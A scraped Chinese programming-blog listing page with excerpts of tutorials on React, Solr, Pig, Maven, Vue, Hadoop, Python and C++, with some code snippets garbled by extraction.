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ReactJS
...OM的处理负担,从而影响整体性能。为此,作者提出了一些实用的建议,如合理使用Fragment,尽量避免不必要的嵌套;对于频繁渲染且状态变化不频繁的组件,可以考虑使用React.memo或PureComponent来优化性能。 此外,文章还提到,一些开发者已经开始探索如何结合其他技术(如Suspense和Concurrent Mode)来进一步提升Fragment的使用效果。这些新技术不仅可以帮助开发者更好地控制组件的加载顺序,还能在一定程度上缓解Fragment带来的性能压力。例如,通过使用Suspense,可以在数据加载完成之前显示一个加载指示器,从而提升用户体验。 总之,随着React技术的不断发展,如何在大型项目中高效地使用Fragment已成为许多开发者关注的重点。通过合理规划和优化,我们完全可以在享受Fragment带来的便利的同时,避免潜在的问题,使代码更加健壮和高效。希望这篇文章能为正在探索这一领域的开发者们提供一些有价值的参考。
2024-12-06 16:01:42
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月下独酌
Apache Solr
...的地理位置索引和检索服务,就像给自己家的地图装上了精准定位器一样方便。本篇文章将带你深入了解Solr如何在地理空间上施展它的魔力。 2. Apache Solr基础 Solr的核心在于它的强大查询解析能力,特别是利用Lucene的底层技术。它是一个基于Java的框架,允许我们扩展和优化搜索性能。首先,让我们看看如何在Solr中设置一个基本的地理搜索环境: java // 创建一个SolrServer实例 SolrServer server = new HttpSolrServer("http://localhost:8983/solr/mycore"); // 定义一个包含地理位置字段的Document对象 Document doc = new Document(); doc.addField("location", "40.7128,-74.0060"); // 纽约市坐标 3. 地理坐标编码 地理搜索的关键在于正确地编码和存储经纬度。Solr这家伙可灵活了,它能支持好几种地理编码格式,比如那个GeoJSON啦,还有WKT(别名Well-Known Text),这些它都玩得转。例如,我们可以使用Solr Spatial Component(SPT)来处理这些数据: java // 在schema.xml中添加地理位置字段 // 在添加文档时,使用GeoTools或类似库进行坐标编码 Coordinate coord = new Coordinate(40.7128, -74.0060); Point point = new Point(coord); String encodedLocation = SpatialUtil.encodePoint(point, "4326"); // WGS84坐标系 doc.addField("location", encodedLocation); 4. 地理范围查询(BoundingBox) Solr的Spatial Query模块允许我们执行基于地理位置的范围查询。例如,查找所有在纽约市方圆10公里内的文档: java // 构造一个查询参数 SolrQuery query = new SolrQuery(":"); query.setParam("fl", ",_geo_distance"); // 返回地理位置距离信息 query.setParam("q", "geodist(location,40.7128,-74.0060,10km)"); server.query(query); 5. 地理聚合(Geohash或Quadtree) Solr还支持地理空间聚合,如将文档分组到特定的地理区域(如GeoHash或Quadtree)。这有助于区域划分和统计分析: java // 使用Geohash进行区域划分 query.setParam("geohash", "radius(40.7128,-74.0060,10km)"); List geohashes = server.query(query).get("geohash"); 6. 神经网络搜索与地理距离排序 Solr 8.x及以上版本引入了神经网络搜索功能,允许使用深度学习模型优化地理位置相关查询。虽然具体实现依赖于Sease项目,但大致思路是将用户输入转换为潜在的地理坐标,然后进行精确匹配: java // 假设有一个预训练模型 NeuralSearchService neuralService = ...; double[] neuralCoordinates = neuralService.transform("New York City"); query.setParam("nn", "location:" + Arrays.toString(neuralCoordinates)); 7. 结论与展望 Apache Solr的地理搜索功能使得地理位置信息的索引和检索变得易如反掌。开发者们可以灵活运用各种Solr组件和拓展功能,像搭积木一样拼接出适应于五花八门场景的智能搜索引擎,让搜索变得更聪明、更给力。不过呢,随着科技的不断进步,Solr这个家伙肯定还会持续进化升级,没准儿哪天它就给我们带来更牛掰的功能,比如实时地理定位分析啊、预测功能啥的。这可绝对能让我们的搜索体验蹭蹭往上涨,变得越来越溜! 记住,Solr的强大之处在于它的可扩展性和社区支持,因此在实际应用中,持续学习和探索新特性是保持竞争力的关键。现在,你已经掌握了Solr地理搜索的基本原理,剩下的就是去实践中发现更多的可能性吧!
2024-03-06 11:31:08
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红尘漫步-t
Apache Pig
...Pig进行大规模文本数据处理 1. 引言 在大数据的世界里,Apache Pig是一个极具价值的工具。它在Hadoop这个大家族里,可以说是位重要角色。为啥呢?因为它使用了一种叫Pig Latin的语言,这种语言既简单又直观,理解起来毫不费劲儿,而且它的数据处理能力那是相当的给力,这就让它在大数据的世界里大放异彩啦!特别是在我们碰上那种海量文本数据处理的大工程时,Pig就活脱脱变成了一只灵活又给力的“数据解析小能猪”,它超级能干,能够帮咱们轻松快速地清洗、转换和深挖这些海量的信息宝藏。 想象一下,你手握一份上亿行的日记文本数据集,每条记录都包含用户的情感表达、行为习惯等丰富信息。瞧瞧这海量的数据,我们急需一个懂咱们心思、能麻溜处理复杂任务的好帮手。这时候,Apache Pig就像我们的超级英雄,瞬间闪亮登场,帮我们大忙了! 2. Apache Pig基础介绍 Apache Pig是一种高级数据流语言及运行环境,用于查询大型半结构化数据集。它的精髓在于采用了一种叫做Pig Latin的语言,这种语言设计得超级简单易懂,编程人员一看就能轻松上手。而且,更厉害的是,你用Pig Latin编写的脚本,可以被转化为一系列MapReduce任务,然后在Hadoop这个大家伙的集群上欢快地执行起来。就像是给计算机下达一连串的秘密指令,让数据处理变得既高效又便捷。 3. 大规模文本数据处理实例 3.1 数据加载与预处理 首先,让我们通过一段Pig Latin脚本来看看如何用Apache Pig加载并初步处理文本数据: pig -- 加载原始文本文件 raw_data = LOAD 'input.txt' AS (line:chararray); -- 将文本行分割为单词 tokenized_data = FOREACH raw_data GENERATE FLATTEN(TOKENIZE(line)) AS word; -- 对单词进行去重 unique_words = DISTINCT tokenized_data; 在这个例子中,我们首先从input.txt文件加载所有文本行,然后使用TOKENIZE函数将每一行文本切割成单词,并进一步通过DISTINCT运算符找出所有唯一的单词。 3.2 文本数据统计分析 接下来,我们可以利用Pig进行更复杂的统计分析: pig -- 计算每个单词出现的次数 word_counts = GROUP unique_words BY word; word_count_stats = FOREACH word_counts GENERATE group, COUNT(unique_words) AS count; -- 按照单词出现次数降序排序 sorted_word_counts = ORDER word_count_stats BY count DESC; -- 存储结果到HDFS STORE sorted_word_counts INTO 'output'; 以上代码展示了如何对单词进行计数并按频次降序排列,最后将结果存储回HDFS。这个过程就像是在大数据海洋里淘金,关键几步活生生就是分组、聚合和排序。这就好比先按照矿石种类归类(分组),再集中提炼出纯金(聚合),最后按照纯度高低排个序。这一连串操作下来,Apache Pig的实力那是展现得淋漓尽致,真可谓是个大数据处理的超级神器! 4. 人类思考与探讨 当你深入研究并实践Apache Pig的过程中,你会发现它不仅简化了大规模文本数据处理的编写难度,而且极大地提升了工作效率。以前处理那些要写一堆堆嵌套循环、各种复杂条件判断的活儿,现在用Pig Latin轻轻松松几行代码就搞定了,简直太神奇了! 更重要的是,Apache Pig还允许我们以近乎自然语言的方式表达数据处理逻辑,使得非程序员也能更容易参与到大数据项目中来。这正是Apache Pig的魅力所在——它让数据处理变得更人性化,更贴近我们的思考模式。 总之,Apache Pig在处理大规模文本数据方面展现了无可比拟的优势,无论是数据清洗、转化还是深度分析,都能轻松应对。只要你愿意深入探索和实践,Apache Pig将会成为你在大数据海洋中畅游的有力舟楫。
2023-05-19 13:10:28
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人生如戏
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2023-10-12 14:36:16
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Maven
...天地中,用超级详细的步骤和鲜活的实例代码,教大家如何巧妙地运用这个工具去搭建一个崭新的项目模板,让你彻底玩转这个领域! 1. 理解Maven Archetype 首先,让我们对Maven archetype有个基本的认识。Maven archetype可以理解为一种项目模板,它预先定义了一组特定项目的目录结构和基本文件配置。当我们要捣鼓新项目的时候,完全可以省去从零开始的繁琐步骤,直接拿这些现成的模板来用就OK啦!这样一来,不仅能够告别枯燥无味的手动创建过程,还能让咱们的项目启动变得超级轻松快捷,效率嗖嗖地往上涨! 2. 安装与配置Maven环境 在开始使用archetype插件前,请确保你的系统已安装并配置好Maven环境。这里假设你已经完成了这一基础工作,接下来就可以直接进入实战环节了。 3. 使用archetype:generate命令创建项目模板 3.1 初始化一个新的Maven项目模板 打开命令行界面,输入以下命令: shell mvn archetype:generate \ -DarchetypeGroupId=org.apache.maven.archetypes \ -DarchetypeArtifactId=maven-archetype-quickstart \ -DarchetypeVersion=1.4 \ -DgroupId=com.example \ -DartifactId=my-new-project \ -Dversion=1.0-SNAPSHOT 上述命令的作用是使用Maven内置的maven-archetype-quickstart模板创建一个新项目。其中: - -DarchetypeGroupId,-DarchetypeArtifactId和-DarchetypeVersion分别指定了要使用的模板的Group ID,Artifact ID和版本。 - -DgroupId,-DartifactId和-Dversion则是用于定义新项目的基本信息。 执行完该命令后,Maven会提示你确认一些参数,并在指定目录下生成新的项目结构。 3.2 创建自定义的archetype项目模板 当然,你也可以创建自己的项目模板,供后续多次复用。首先,咱先来新建一个普普通通的Maven项目,接着就可以按照你的小心思,尽情地设计和调整目录结构,别忘了把初始文件内容也填充得妥妥当当的哈。接着,在pom.xml中添加archetype相关的配置: xml 4.0.0 com.example my-custom-archetype 1.0-SNAPSHOT maven-archetype org.apache.maven.archetype archetype-packaging 3.2.0 org.apache.maven.plugins maven-archetype-plugin 3.2.0 generate-resources generate-resources 最后,通过mvn clean install命令打包并发布到本地仓库,这样就创建了一个自定义的archetype模板。 3.3 使用自定义的archetype创建新项目 有了自定义的archetype模板后,创建新项目的方式同上,只需替换相关参数即可: shell mvn archetype:generate \ -DarchetypeGroupId=com.example \ -DarchetypeArtifactId=my-custom-archetype \ -DarchetypeVersion=1.0-SNAPSHOT \ -DgroupId=com.new.example \ -DartifactId=my-new-project-from-custom-template \ -Dversion=1.0-SNAPSHOT 在这个过程中,我深感Maven archetype的强大之处,它就像一位贴心助手,帮我们在繁杂的项目初始化工作中解脱出来,专注于更重要的业务逻辑开发。而且,我们能够通过定制自己的archetype,把团队里那些最牛掰的工作模式给固定下来,这样一来,不仅能让整个团队的开发速度嗖嗖提升,还能让大伙儿干活儿时更有默契,一致性蹭蹭上涨,就像乐队排练久了,配合起来那叫一个天衣无缝! 总结一下,Maven archetype插件为我们提供了一种快速创建项目模板的机制,无论是内置的模板还是自定义模板,都能极大地简化项目创建流程。只要我们把这个工具玩得溜溜的,再灵活巧妙地运用起来,就能在Java开发这条路上走得更顺溜,轻松应对各种挑战,简直如有神助。所以,不妨现在就动手试试吧,感受一下Maven archetype带来的便利与高效!
2024-03-20 10:55:20
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断桥残雪
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...,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 一、dvajs 开源地址:https://dvajs.com/ 1.dva dva 首先是一个基于 redux 和 redux-saga 的数据流方案,然后为了简化开发体验,dva 还额外内置了 react-router 和 fetch,所以也可以理解为一个轻量级的应用框架。 2.特性 易学易用,仅有 6 个 api,对 redux 用户尤其友好,配合 umi 使用后更是降低为 0 API elm 概念,通过 reducers, effects 和 subscriptions 组织 model 插件机制,比如 dva-loading 可以自动处理 loading 状态,不用一遍遍地写 showLoading 和 hideLoading 支持 HMR,基于 babel-plugin-dva-hmr 实现 components、routes 和 models 的 HMR 二、umijs 开源地址:https://umijs.org/ 1.umi umi是一个基于路由的框架,支持next.js类似的传统路由和各种高级路由功能,例如路由级按需加载。凭借涵盖从源代码到构建产品的每个生命周期的完整插件系统,umi能够支持各种功能扩展和业务需求。目前,umi在社区和公司内部拥有近50多个插件。 umi是Ant Financial的基本前端框架,直接或间接地为600多个应用程序提供服务,包括Java,节点,移动应用程序,混合应用程序,纯前端资产应用程序,CMS应用程序等。umi为我们的内部用户提供了很好的服务,我们希望它能够很好地为外部用户服务。 2.功能 ? 开箱即用,内置支持反应,反应路由器等。 ?Next.js 喜欢和全功能的路由约定,它也支持配置的路由 ? 完整的插件系统,涵盖从源代码到生产的每个生命周期 ? 高性能,通过插件支持PWA,路由级代码分割等 ? 支持静态导出,适应各种环境,如控制台应用程序,移动应用程序,鸡蛋,支付宝钱包等 ? 快速启动启动,支持使用config 启用dll和hard-source-webpack-plugin ? 与IE9兼容,基于umi-plugin-polyfills ? 支持TypeScript,包括d.ts定义和umi test ? 与深度集成DVA,支持鸭子目录,模型的自动加载,代码分裂等 本篇文章为转载内容。原文链接:https://blog.csdn.net/qq_32447301/article/details/93423515。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-11-06 14:19:32
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...,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 Vue选项 什么是选项? 使用选项式 API,我们可以用包含多个选项的对象来描述组件的逻辑,例如 data、methods 和 mounted。选项所定义的属性都会暴露在函数内部的 this 上,它会指向当前的组件实例。 以上是官网对于选项的概念,简单的说,选项是一组由Vue定义好的对象,你可以将你的代码写在指定的选项中,从而获得一些 “特异功能” 。 注:由于选项是Vue规定好的,因此在使用中我们不能更改其名称,也不可以重复定义 常用选项 1. data选项 必须是一个函数,将组件需要使用的变量定义在此函数的返回值对象中,定义的变量将会获得一个“特异功能” ---- 响应式 <template><div><!-- 在这里使用插值表达式将name渲染到页面 -->{ { name } }</div></template><script>export default {// data选项data(){return{// name是响应式的name:"Jay",} },}</script> 上面例子中的name就是一个响应式数据,在值发生改变时,视图(页面)上的name也会发生变化,那我们便可以通过操作name的变化去使视图发生变化,而不用进行繁琐的DOM操作,这也体现着Vue框架的 数据驱动 这一核心思想。 为什么数据要定义在data函数的返回值中,而不是定义在一个对象中? 将数据定义在函数返回值中,可以确保每产生一个组件实例,都会调用一次函数,并返回一个新的对象,开辟一块新的空间。 如果将数据定义在对象中,可能会出现类似于浅拷贝中出现的问题,即多个组件实例指向同一块空间,一个组件实例修改数据,则全部数据发生变化。 2. methods选项 此选项是一个对象,其中存放着该组件要使用的函数,比如事件的回调函数… <template><div><!-- 添加点击事件,事件回调函数在methods中定义 --><button @click="add">点击加一</button> <p>{ { count } }</p></div></template><script>export default {data(){return{count:0,} },// 在methods中定义函数(方法)methods:{add(){// 在函数中要使用data中的变量,需加thisthis.count++},} }</script> 通过点击事件改变count的值,从而使页面上的值随之变化,再次体现 数据驱动 的核心思想 3. computed 计算属性 计算属性,对象形式,顾名思义,在计算属性中保存着一系列需要经过运算得出的属性 <template><p>路程:{ { distance } } km</p><p>速度:{ { speed } } km/h</p><!-- 使用计算属性,与变量的使用相同 --><p>花费的时间:{ { time } } h</p></template><script>export default {data() {return {distance: 1000,speed: 50,} },computed: {// 定义计算属性,类似于函数的定义,返回值就是该计算属性的值time() {return this.distance / this.speed} }}</script> 计算属性内部所依赖的数据发生变化时, 计算属性本身就会自动重新计算返回一个新的计算值并缓存起来。 计算属性内部所依赖的数据没有发生变化, 计算属性会直接返回上一次缓存的值。 因此上面例子中的distance(路程)与speed(速度)无论如何变化,time都会计算出正确的值。 4. directives 选项, 定义自定义指令( 局部指令 ) 在上节,我们学习了一些Vue内置指令,功能十分强大,那么我们可以自己定义一些指令吗? 当然可以!我们可以在directives选项中创建自定义指令。 <template><!-- 使用自定义指令 --><div v-myshow="1"></div><div v-myshow="0"></div></template><script>export default {// 在directives中定义一个自定义指令,来模仿v-show的功能directives: {//el:添加自定义指令的元素;binding:指令携带的参数myshow(el, binding) {if (binding.value) {el.style.display = "block";} else {el.style.display = "none";} }} }</script><style scoped>div {width: 100px;height: 100px;background-color: red;margin: 10px;}</style> 像以上这种,在组件中定义的指令是局部指令,只能在本组件中使用,全局指令需要在main.js文件中定义,全局指令在任何.vue文件中都可使用。 注意: 当局部指令和全局指令冲突时, 局部指令优先生效. var app = createApp(App)//定义全局指令 app.directive("myshow", (el, binding) => {if (binding.value) {el.style.display = "block";} else {el.style.display = "none";} })// 全局指令可在任何组件使用 5. components组件选项(注册局部组件) 在一个组件中我们可能会使用到其他组件,在将组件引入后,需要在components中进行注册,才能使用。 <template><!-- 使用组件 --><Test /></template><script>// 引入组件import Test from './Test.vue'export default {// 注册组件components: {Test},}</script> 局部组件只能在当前组件内部使用,需要在任何组件中使用,需要在main.js文件中注册为全局组件 // 引入组件import Test from './Test.vue'// 注册全局组件,可在所有.vue文件中使用app.component('Test',Test); 6. 其他 filters 选项, 定义过滤器,vue2中使用,Vue3中已经弃用 mounted 等生命周期函数选项,我们在下节进行详细讲解… 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_57714647/article/details/130878069。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-12-25 22:28:14
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...,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 原网站:https://www.cnblogs.com/minghost/p/11941668.html scroll组件:<template name="scroll"><view class=""><view class="all"><scroll-view class="nav-bar" scroll-x @scroll="scroll"><!-- 要想使用flex布局实现横向滚动,就要在scroll-view里加一层容器包裹,并且使用子组件才会出现滚动效果 --><view class="nav-bar-wrap"><block v-for="(item,index) in navbarArr" :key="index"><view class="nav-bar-item" @click="onNavbarItem(item.id)" :id="item.id"><image :src="item.pic_url" /><text>{ {item.name} }</text></view></block></view></scroll-view></view><view class="slider"><view class="slider-inside .slider-inside-location" :style="{left:lefts}"></view></view></view></template><script>export default {name: "scroll",data() {return {lefts:0} },props: {navbarArr: {type: Array},left: {type: Number} },created: function(e) {console.log(this.left,"leftinfo")},methods: {onNavbarItem(id) {console.log(id)// const id = options.currentTarget.dataset.id// wx.navigateTo({// url: /pages/mysignup/mysignup?id=${id},// })},scroll(event) {let that = thisconsole.log(event)let scrollLeft = event.detail.scrollLeft;let scrllWidth = event.detail.scrollWidth - 375;// that.left = ${(scrollLeft) / scrllWidth 100}%// this.$emit("changeLeft",that.lefts)// 32是剩余要滑动的地方let newLeft = scrollLeft / scrllWidth 32that.lefts =newLeft + 'rpx'} }}</script><style>.all {position: relative;height: 330rpx;overflow: hidden;background: fff;}scroll-view {white-space: nowrap;}/ 去除滚动条 /::-webkit-scrollbar {display: none;width: 0;height: 0;color: transparent;}.nav-bar-wrap {display: flex;flex-flow: column wrap;height: 330rpx;}.nav-bar-item {width: 187.5rpx;display: flex;flex-direction: column;align-items: center;padding-top: 28rpx;}.nav-bar-item image {display: block;height: 90rpx;width: 90rpx;margin: 0;}.nav-bar-item text {margin-top: 5rpx;line-height: 32rpx;font-size: 25rpx;}.slider {position: relative;margin-left: 50%;/ left: 50%; /transform: translateX(-50%);width: 64rpx;height: 6rpx;border-radius: 3rpx;background: eee;}.slider-inside {/ transform: translateX(-50%); /width: 32rpx;height: 100%;border-radius: 3rpx;background-color: 11BEA7;}.slider-inside-location {position: absolute;/ left: 50%; /}</style> 使用组件:<template><view><scroll :navbarArr="navbarArr" :left="left" @changeLeft="changeLeft"></scroll></view></template><script>import scroll from "../../components/scroll.vue"export default {components:{scroll},data() {return {navbarArr: [{pic_url: '../static/images/ic_57@2x.png',name: '骨科',id: 1},{pic_url: '../static/images/ic_59@2x.png',name: '检验科',id: 2},{pic_url: '../static/images/ic_56@2x.png',name: '外壳',id: 3},{pic_url: '../static/images/ic_53@2x.png',name: '口腔科',id: 4},{pic_url: '../static/images/ic_54@2x.png',name: '猫科',id: 5},{pic_url: '../static/images/ic_52@2x.png',name: '内科',id: 6},{pic_url: '../static/images/ic_50@2x.png',name: '皮肤科',id: 7},{pic_url: '../static/images/ic_52@2x.png',name: '肾病',id: 8},{pic_url: '../static/images/ic_58@2x.png',name: '血透科',id: 9},{pic_url: '../static/images/ic_62@2x.png',name: '肾病',id: 10},{pic_url: '../static/images/ic_64@2x.png',name: '血透科',id: 11},],left:0.65625} },methods: {changeLeft(e){let that = thisthat.left = e} },}</script> 本篇文章为转载内容。原文链接:https://blog.csdn.net/qq_45584157/article/details/117958700。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2024-05-06 12:38:02
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Hadoop
...doop中实现高效的数据转换和处理过程 随着大数据时代的到来,Hadoop作为一个开源的分布式计算框架,以其卓越的大数据存储与处理能力赢得了广泛的认可。本文将深入探讨如何在Hadoop环境中实现高效的数据转换和处理过程,通过实例代码揭示其背后的奥秘。 1. Hadoop生态系统简介 Hadoop的核心组件主要包括HDFS(Hadoop Distributed File System)和MapReduce。HDFS负责海量数据的分布式存储,而MapReduce则提供了并行处理大规模数据集的强大能力。在此基础上,我们可以通过编写特定的Map和Reduce函数,实现对原始数据的转换和处理。 2. 数据转换 Map阶段 让我们首先通过一个简单的示例理解Hadoop MapReduce中的数据转换过程: java import java.io.IOException; import org.apache.hadoop.io.IntWritable; import org.apache.hadoop.io.LongWritable; import org.apache.hadoop.io.Text; import org.apache.hadoop.mapreduce.Mapper; public class WordCountMapper extends Mapper { private final static IntWritable one = new IntWritable(1); private Text word = new Text(); public void map(LongWritable key, Text value, Context context) throws IOException, InterruptedException { String line = value.toString(); for (String eachWord : line.split("\\s+")) { word.set(eachWord); context.write(word, one); // 将单词作为key,计数值1作为value输出 } } } 这段代码是Hadoop实现词频统计任务的Mapper部分,它实现了数据从原始文本格式到键值对形式的转换。当Map阶段读取每行文本时,将其拆分为单个单词,并以单词为键、值为1的形式输出,实现了初步的数据转换。 3. 数据处理 Reduce阶段 接下来,我们看下Reduce阶段如何进一步处理这些键值对,完成最终的数据聚合: java import java.io.IOException; import org.apache.hadoop.io.IntWritable; import org.apache.hadoop.io.Text; import org.apache.hadoop.mapreduce.Reducer; public class WordCountReducer extends Reducer { public void reduce(Text key, Iterable values, Context context) throws IOException, InterruptedException { int sum = 0; for (IntWritable val : values) { sum += val.get(); // 对所有相同键的值进行累加 } context.write(key, new IntWritable(sum)); // 输出每个单词及其出现次数 } } 在上述Reducer类中,对于每一个输入的单词(键),我们将所有关联的计数值(值)相加,得到该单词在整个文本中的出现次数,从而完成了数据的聚合处理。 4. 思考与讨论 Hadoop的魅力在于,通过分解复杂的计算任务为一系列简单的Map和Reduce操作,我们可以轻松地应对海量数据的转换和处理。这种并行计算模型就像是给电脑装上了超级引擎,让数据处理速度嗖嗖地往上窜。而且更棒的是,它把数据分散存放在一整个集群的各个节点上,就像把鸡蛋放在不同的篮子里一样。这样一来,不仅能够轻松应对大规模运算,就算某个节点出个小差错,其他的节点也能稳稳接住,保证整个系统的稳定性和可扩展性杠杠的! 然而,尽管Hadoop在数据处理方面表现出色,但并非所有场景都适用。比如,在那种需要迅速反馈或者频繁做大量计算的情况下,像Spark这类流处理框架或许会是个更棒的选择。这就意味着在咱们实际操作的项目里,面对不同的需求和技术特点时,咱们得像个精明的小侦探,灵活机智地挑出最对味、最适合的数据处理武器和战术方案。 总的来说,借助Hadoop,我们能够构建出高效的数据转换和处理流程,从容应对大数据挑战。不过呢,咱们也得时刻想着把它的原理摸得更透彻些,还有怎么跟其他的技术工具灵活搭配使用。这样一来,咱就能在那些乱七八糟、变来变去的业务环境里头,发挥出更大的作用,创造更大的价值啦!
2023-04-18 09:23:00
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秋水共长天一色
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...,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 java的问题: 1.性能:java的内存管理似乎比较自动化,但其实性能不是特别好。尤其是new对象的时候没有节制。在java中,有些对象构造成本很低,有些 很高。特别在UI编程的时候,大多数的UI对象其构建成本都比较高昂。如果在开发过程中没有节约意识,肯定会导致JVM不停的GC,系统表现很卡的样子, 当然,彻底的当掉可能还不会,但基本上工作已经是非常的缓慢的了。 2;引用:JAVA中其实在大量的使用对象引用,对象引用可以减少内存占用,不去构建不必要的对象。但事实上,多数程序员对引用的理解不是很到位,结果导致过多不必要的对象构建,虚耗内存。代码可读性也不佳,编写的时候尤其觉的疲惫。 3;面向对象:java是面向对象的语言,但是它有基础类型,这些基础类型不是面向对象的,不能当作引用传递。一般来说,这些基础类型可以用来表示 一个对象的状态。java中的对象一定要包含状态,没有状态的对象其实是不存在的,没有状态的东西不是对象,而是一个行为集合。但是java中没有一个明 确的结构来表达这个情况,所以只能写一个类来表示,同时将这个类的构造定义成私有的,防止被别人构建。这个时候的类的作用等同与命名空间。java在面向 对象的支持方面其实是很残缺的,缺乏很多必要的支持,比如虚函数,多重继承,友元。这种残缺,导致设计困难,所以java的系统都十分的罗嗦。 4:复杂:java越来越复杂了。注解,泛型,枚举,特性很多。 5:不可变:java支持不可变,但是大多数人并不了解这个主题。不可变系统其实比较容易实现,同时也不容易出错。但是java是基于引用的系统,不可变会导致大量的内存问题。JVM缺乏尾递归优化,这其实也是一个问题。 转自:http://my.oschina.net/clarkhill/blog/59546 转载于:https://www.cnblogs.com/yangh2016/p/5762333.html 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_30561425/article/details/95164045。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-11-21 23:48:35
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2023-11-14 09:38:26
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...新整个页面的情况下与服务器交换数据并更新部分网页内容。在prettyPhoto插件中,它支持通过AJAX加载内容,这意味着可以实现在同一个lightbox窗口内加载异步获取的数据或页面片段,为用户提供流畅的无刷新页面交互体验。
2024-01-14 22:09:23
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Python
...Python完成这项任务。 示例1:基础版 python import math def volume_of_hemisphere(radius): return (2/3) math.pi (radius 3) 测试代码 print(volume_of_hemisphere(5)) 假设半径为5单位 在这个简单的示例中,我们定义了一个函数 volume_of_hemisphere,它接受一个参数 radius(即半球的半径),然后根据上面提到的公式计算并返回半球的体积。最后,我们通过给定半径为5单位来测试我们的函数。 示例2:增加用户交互 python import math def calculate_volume(): radius = float(input("请输入半球的半径:")) volume = (2/3) math.pi (radius 3) print(f"半球的体积约为:{volume:.2f}") calculate_volume() 在这个版本中,我们增加了用户交互功能,允许用户输入半球的半径,然后程序会输出对应的体积。这儿用的是 input() 函数来抓取大伙儿的输入,然后用 print() 函数把结果弄得漂漂亮亮的,保留俩小数点,看着就顺眼。 示例3:面向对象编程 python import math class Hemisphere: def __init__(self, radius): self.radius = radius def volume(self): return (2/3) math.pi (self.radius 3) 创建半球实例 hemisphere = Hemisphere(5) print(f"半球的体积为:{hemisphere.volume():.2f}") 这个版本采用了面向对象的方法,定义了一个名为 Hemisphere 的类,该类包含一个构造函数和一个方法 volume() 来计算体积。通过这种方式,我们可以更方便地管理和操作半球的相关属性和行为。 4. 总结与反思 通过上述三个不同的示例,我们可以看到,即使是同一个问题,也可以用多种方式来解决。从最基本的函数调用,到让用户动起来的交互设计,再到酷炫的面向对象编程,每种方式都有它的独门绝技。这事儿让我明白,在编程这个圈子里,其实没有什么绝对的对错之分,最重要的是得找到最适合自己眼下情况和需要的方法。 同时,这次探索也让我深刻体会到数学与编程之间的紧密联系。很多时候,我们面对的问题不仅仅是技术上的挑战,更是对数学知识的理解和应用。希望能给你带来点灵感,不管是学Python还是别的啥,保持好奇心和爱折腾的精神可太重要了! 好了,这就是今天的内容。如果你有任何想法或疑问,欢迎随时留言讨论。让我们一起继续学习,享受编程带来的乐趣吧! --- 这篇文章旨在通过具体案例展示如何利用Python解决实际问题,同时穿插了一些个人思考和感受,希望能够符合你对于“口语化”、“情感化”的要求。希望对你有所帮助!
2024-11-19 15:38:42
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凌波微步
c++
...可能就怪怪的,还可能影响速度,甚至有时候你都发现不了问题出在哪。所以啊,用类型转换得有个度,不能太贪心,适量就好! 5. 实例三 类型转换与函数参数 考虑这样一个场景,你需要将不同的类型作为函数的参数传递,而这些类型之间可能存在转换的需求: cpp include template auto add(T a, U b) -> decltype(a + b) { return a + b; } int main() { int a = 5; float b = 3.14; auto result = add(a, b); std::cout << "a + b = " << result << std::endl; return 0; } 这里我们定义了一个模板函数add,它可以接受任意类型的参数,并且通过decltype确保了返回类型的一致性,即使输入类型不同。 6. 结论 从困惑到精通 通过以上的示例和讨论,我们可以看到类型不匹配在C++编程中的常见性和解决方法。哎呀,这事儿关键啊,就是得搞懂不同类型的转换规则,还有怎么在编程的时候机智地用上类型转换,这样子才能避免踩坑!就像是在玩变形金刚的游戏,知道怎么变形成不同的形态,才能在战斗中游刃有余,对吧?所以,这事儿可得仔细琢磨,别让小错误给你整得满头大汗的。随着实践的增多,你会逐渐习惯于处理这类问题,从而在编程过程中更加游刃有余。 编程是一门艺术,也是一门需要不断学习和实践的技能。哎呀,遇到C++这种语言的类型不匹配问题了?别急,咱得有点好奇心,敢想敢干才行!就像在探险一样,每次遇到难题都是新发现的机会。别怕动手尝试,多实践几次,你会发现,驾驭这门强大的语言其实挺有趣的。就像解开一个又一个谜题,每一次成功都让你成就感满满。别忘了,创作精彩代码,就跟做艺术品一样,需要点想象力和创意。加油,你肯定能做出让人眼前一亮的作品!
2024-09-14 16:07:23
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笑傲江湖
Apache Pig
